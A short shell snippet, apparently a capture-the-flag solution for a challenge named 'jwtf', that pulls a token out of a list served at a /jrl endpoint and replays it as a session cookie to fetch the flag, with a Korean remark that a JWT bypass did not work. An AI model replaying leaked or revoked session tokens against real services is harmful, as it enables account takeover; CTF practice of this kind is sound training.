RAW=$(curl -s <https://jwtf.chal.cyberjousting.com/jrl>)

TOKEN=$(echo $RAW | sed -e 's/^\\[//' -e 's/\\]$//' -e 's/"//g')

echo $TOKEN

curl -s \\
  -H "Cookie: session=$TOKEN" \\
  <https://jwtf.chal.cyberjousting.com/flag>

• jwt 토큰 우회는 안됨